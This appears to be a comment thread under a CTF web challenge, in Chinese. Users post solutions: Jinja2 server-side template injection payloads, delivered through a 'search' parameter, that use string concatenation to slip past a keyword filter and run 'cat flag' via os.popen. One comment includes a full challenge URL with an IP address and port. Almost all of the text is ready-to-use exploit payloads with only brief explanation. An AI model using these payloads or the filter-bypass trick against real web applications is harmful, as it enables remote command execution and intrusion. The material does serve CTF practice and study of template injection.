search={{url_for['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
http://82.157.146.43:18893/?search={{config['_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_']['_'+'_'+'init'+'_'+'_']['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
爆出传参search,利用字符串拼接绕过
...
评论
单手压FL 10天前
举报
search={{url_for['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
jz1111 3月前
举报
http://82.157.146.43:18893/?search={{config['_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_']['_'+'_'+'init'+'_'+'_']['_'+'_'+'globals'+'_'+'_']['os'].popen('cat flag').read()}}
2728462336 6月前
举报
爆出传参search,利用字符串拼接绕过